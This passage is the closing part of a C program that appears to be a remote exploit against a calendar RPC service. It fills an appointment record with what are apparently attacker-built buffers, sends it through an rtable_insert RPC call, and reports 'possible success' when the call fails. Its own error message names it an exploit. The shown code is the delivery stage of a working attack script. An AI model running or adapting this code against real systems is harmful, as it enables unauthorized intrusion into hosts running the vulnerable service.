  (void)memset(&ap,0,sizeof(ap));
  ap.duration = ap.ntimes = ap.period.period = ap.period.nth = 1;
  ap.what = abuf;
  ap.client_data = &obuf[2];

  (void)memset(&ta,0,sizeof(ta));
  ta.args.tag = APPT;
  ta.target = cname;
  ta.args.Args_u.appt = &ap;

  (void)memset(&tr,0,sizeof(tr));

  if(clnt_call(c,rtable_insert,xdr_Table_Args,(caddr_t)&ta,
               xdr_Table_Res,(caddr_t)&tr,tv)!=RPC_SUCCESS)
    (void)printf("possible success\n");
  else
    {
      (void)fprintf(stderr,"error: exploit faile: rtable_insert returned\n");
      exit(-1);
    }

  (void)clnt_destroy(c);

  return(0);
}
